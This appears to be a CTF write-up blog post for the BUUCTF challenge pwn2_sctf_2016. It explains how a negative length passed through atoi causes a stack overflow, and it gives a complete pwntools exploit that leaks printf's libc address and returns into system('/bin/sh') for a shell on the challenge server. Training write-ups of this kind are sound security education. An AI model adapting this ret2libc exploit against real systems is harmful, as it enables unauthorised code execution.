buuctf pwn2_sctf_2016

pwn2_sctf_2016
degree of difficulty: 2
source of the challenges:buuctf/sctf_2016
solving ideas:Stack overslow,atoi-function’s negative number overslow

Put it in IDA32,we can see this easy program.
在这里插入图片描述
在这里插入图片描述
len can be a negative number,witch can lead to that a negative number be overflowed to a int number witch is vary bigger than v5.
Therefore it result in a stack overflow bug .
exp:

from pwn import *
from LibcSearcher import *

#io=process("./pwn2_sctf_2016")
io=remote("node3.buuoj.cn",29069)
elf=ELF("./pwn2_sctf_2016")
context.log_level='debug'

print_got=elf.got['printf']
print_plt=0x8048370
vlun_addr=0x0804852F
#bss=0x0804a040+0x100

#gdb.attach(io,"b *0x080485EE")
io.recvuntil("How many bytes do you want me to read?")
io.sendline("-10")
io.recvuntil("Ok, sounds good.")
print("print_plt:0x%x\nprint_got:0x%x"%(print_plt,print_got))
payload='a'*0x2c+'a'*4+p32(print_plt)+p32(vlun_addr)+p32(print_got)
io.sendline(payload)
io.recvuntil("\x0c\xa0\x04\x08\x0a")#p32(print_got)+'\x0a'
print_addr=u32(io.recv(4))
print("print_addr:0x%x"%print_addr)

libc=LibcSearcher("printf",print_addr)
libc_base=print_addr-libc.dump('printf')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
print("sys-addr:0x%x\n"%sys_addr)

io.recvuntil("How many bytes do you want me to read?")
io.sendline("-10")
io.recvuntil("Ok, sounds good.")

payload='a'*0x2c+'a'*4+p32(sys_addr)+p32(vlun_addr)+p32(bin_addr)
io.sendline(payload)

io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值